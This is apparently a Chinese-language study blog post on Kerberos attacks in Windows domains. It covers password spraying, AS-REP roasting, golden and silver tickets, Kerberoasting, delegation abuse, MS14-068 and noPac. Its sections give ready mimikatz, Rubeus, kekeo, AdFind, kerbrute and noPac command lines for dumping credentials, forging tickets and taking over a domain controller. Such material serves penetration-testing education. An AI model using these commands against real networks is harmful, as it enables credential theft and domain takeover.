LOADING

wait wait wait...

Kerberos Attack

本文梳理Kerberos的相关攻击手法

Reference:《内网渗透体系建设》

Kerberos基础

域渗透中,Kerberos是最常用的,针对整个域的基础认证协议

Kerberos基础认证流程

  • Kerberos认证协议是基于票据(Ticket)的一种认证方式
  • 三部分:
    • 用户(Client)
    • 服务器(Server)
    • Key Distribution Center(KDC,密钥分发中心)
      • Authentication Server(AS,认证服务器)
      • Ticket Granting Server(TGS,票据授权服务器)

img

  1. AS_REQ:Client向AS发起AS_REQ
  2. AS_REP:AS使用Client密码哈希值进行解密,解密成功,返回用krbtgt的NTLM-hash加密的TGT票据
    1. krbtgt是Kerberos中的一个特殊账户,用于存储和管理Ticket Granting Ticket(TGT)
    2. 在Kerberos认证系统中,krbtgt账户是一个系统级别的账户
    3. TGT包含PAC,PAC包含Client的相关权限信息
    4. 只有KDC能制作和查看PAC
    5. 如果攻击者获取到了krbtgt hash,便可以任意伪造TGT,即黄金票据,从而跳过AS验证
  3. TGS_REQ:Client通过TGT向TGS发起针对需要访问服务的TGS_REQ请求
  4. TGS_REP:TGS使用krbtgt的NTML-hash对TGT进行解密,解密成功便返回用服务NTLM-hash加密的TGS票据(ST),并附带PAC
    1. 这里不论用户有没有访问服务的权限,只要TGT正确,就返回ST
  5. AP_REQ:Client利用ST请求服务
  6. AP_REP:服务使用自己的NTLM-hash解密ST,如果结果正确,将PAC交给KDC解密,KDC由此判断是否有访问服务的权限
    1. 如果没有设置PAC,就不会交给KDC验证,这便是白银票据成功的原因

Kerberos攻击分类

Kerberos的攻击主要关注点为“票据”,即票据传递攻击Pass The Ticket(PTT)

img

AS_REQ & AS_REP attack

域内用户枚举&密码喷洒攻击

本质就是爆破,利用Kerberos协议认证过程当用户不存在时,返回包提示错误,当用户名存在时,密码正确/错误返回包也不同

https://github.com/ropnop/kerbrute

域内用户枚举:kerbrute_windows_amd64.exe userenum --dc x.x.x.x(域控ip) -d x.com(域名) x.txt(字典)

密码喷洒攻击:kerbrute_windows_amd64.exe passwordspray --dc x.x.x.x -d x.com x.txt 123.com

AS_REP Roasting attack

  • 如果被攻击账号设置“不需要Kerberos预身份验证”,AS_REP的过程中就可以任意伪造用户名请求票据
  • 随后AS会将伪造请求的用户名NTLM hash加密后返回,于是便可以进行爆破
  • 但该攻击条件默认是不勾选的,因此可利用程度较低

Golden Ticket attack

  • 在Kerberos认证中,每个用户的票据都是由krbtgt的NTLM hash加密生成的,因此获得krbtgt hash,便可以伪造任意用户的票据
  • 攻击需要:
    • 域名
    • 域sid
    • krbtgt hash
    • 伪造的用户
  • 攻击过程:

在DC上mimikatz.exe "LOG" "Privilege::Debug" "lsadump::lsa /patch" "exit"

得到krbtgt hash之后,利用mimikatz生成黄金票据并导入,注意这里传入的sid值要去掉最后一个“-”后面的内容

kerberos::golden /admin:Administrator /domain:x.com /sid:x-x-x-x-x-x-x /krbtgt:[hash value] /ticket:ticket.kirbi

Kerberos::ptt ticket.kirbi

TGS_REQ & TGS_REP attack

Kerberoast attack

  • SPN(Service Principal Name)是服务器所运行服务的唯一标识
  • Kerberoast attack利用了TGS_REP阶段使用服务的NTML hash返回加密数据,对于域内的任何主机,都可以通过查询SPN,向域内的所有服务请求ST(因为KDC不会验证权限)
  • 爆破域用户的SPN(机器账户的SPN每30天会随机更换128个字符的密码),这里高度依赖爆破字典

Silver Ticket attack

img

  • 未配置PAC的情况下,通过伪造ST访问特定服务器上的部分服务
  • 如果得到DC机器账户的hash
    • 使用白银票据访问其LDAP服务执行DCSync
    • 伪造CIFS服务实现远程文件访问
  • 攻击需要:
    • 域名
    • 域sid
    • DC机器账户的hash
    • 伪造的任意用户名
  • 攻击过程:

在DC上mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords"

得到DC机器名的hash和域idkerberos::golden /domain:x.com /sid:x-x-x-x-x-x-x /target: dc.x.com /service:ldap /rc4:机器hash /user:xxx /ptt lsadump::dcsync /domain:x.com /user:krbtgt

获取krbtgt用户的hash从而制作黄金票据

委派攻击

委派:服务A和服务B不在同一台机器上,用户访问服务A的时候需要使用到服务B中的数据,服务A代用户请求服务B中的数据,这个过程称为委派

非约束委派攻击

img

上图中,当service1的服务账户开启了非约束委派,user访问service1时,service1会将user的TGT保存在内存中,于是service1便可以用user的身份访问域中任意user可以访问的服务,当这个user是域管理员时,便获得了域管理员权限,攻击过程如下:

  1. 在域内主机查找非约束委派用户
    1. AdFind.exe -b "DC=hack-my,DC=com" -f "(&(samAccountType =805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    2. 当主机设置为非约束性委派的时候,其userAccountControl属性包含TRUSTED_FOR_DELEGATION这个flag值,对应0x80000
    3. 其中524288对应0x80000,805306369对应0x0000000(代表机器账户)
  2. 可以利用Spooler打印机服务让域控主动连接开启非约束委派的服务
    1. Spooler服务默认开启的情况下,域用户可以利用Windows打印系统远程协议(MS-RPRN)强制任何运行了Spooler服务的域内计算机通过Kerberos或NTLM对任何目标进行身份验证
    2. 利用SpoolSample强制DC进行认证,从而抓取TGT
    3. Rubeus导入TGT:Rubeus.exe ptt /ticket:base64
    4. mimikatz进行dscync获取hash值,制作黄金票据接管域控

约束委派

img

微软在Windows Server 2003中引入约束委派,构建了S4U协议,具体可分为S4U2Self和S4U2proxy:

  • S4U2self用于生成本身服务TGS票据
    • 上图中service1代表用户请求的自身可转发ST
    • 不能以该用户身份请求其他服务
  • S4U2proxy用于“代理”相关用户申请其他服务票据
    • service1以S4U2self阶段的可转发ST代表用户申请请求service2的ST
    • S4U2proxy过程中通过判断msds-allowedtdelegateto里的 SPN确定是否可以申请到service2的ST

上述过程中,如果获得了service1的权限,就可以伪造S4U先请求service1本身的ST,然后利用该ST伪造任意用户请求service2的ST:

  1. 域内主机查找约束委派主机Adfind.exe -b "DC=xx,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

  2. 假设已获取该主机的相关权限,已经知道服务用户密码明文和hash值,用keoeo请求TGTtgt::ask /user:win2008-web /domain:xx.com /NTLM:xxx /ticket:s4u.kirbi

  3. 伪造S4U,以Administrator用户权限访问受委派的服务tgs::s4u /tgt:xxx.kirbi /user:Administrator/service:cifs/dc.xx.com

  4. mimimikatz导入S4U2proxy阶段生成的ST

另:如果可以直接获取上述WIN2008-WEB机器账户的TGT,就可以直接利用Rubeus进行攻击Rubeus.exe s4u /user:WIN2008-WEB$ /rc4:xxx[NTLM hash] /domain:xx.com /impersonateuser:Administrator /msdsspn:cifs/dc.xx.com /ptt

基于资源的约束委派

TLDR;

:)

https://exp10it.io/2023/08/resource-based-constrained-delegation-attack-summary/

PAC Attack

MS14-068

  • KDC无法正确检查PAC中的有效签名,因为其实现签名的加密允许所有的签名算法
  • 客户端可以制定不需要相关密钥的算法,例如MD5,便可以实现伪造构造PAC

keoeo.exe "exploit::ms14068 /domain:x.com /user:username /password:password /ptt" "exit"

CVE-2021-42278 & CVE-2021-42287

  • CVE-2021-42278
    • 安全绕过漏洞,允许通过修改机器账户的sAMAccountName属性冒充域控
    • 与标准用户账户相比,机器账户名称末尾附加了"$"符号,但AD并没有验证域内机器账户中是否具有"$"
  • CVE-2021-42287
    • 允许通过冒充域控,使KDC创建高权限票据

攻击过程:

  1. 创建一个机器用户,假设为HACKME$
  2. 清除机器账户HACKME$servicePrincipalName属性
  3. 修改机器账户HACKME$sAMAccountName属性,使其指向不带"$"符号的域控账户
  4. 利用账户DC-1请求TGT
  5. 将新建的机器账户的sAMAccountName属性恢复为其原始值HACKME$
  6. 利用S4U代表域管理员请求对应服务的服务票据ST
  7. 伪造域管理员账户获得相应服务的ST

https://www.cnblogs.com/-meditation-/articles/16619406.html

noPac.exe -domain x.com -user 1nvqaq -pass 12346abc /dc DC-1.x.com /mAccount HACKME /mPassword 123456 /service cifs /ptt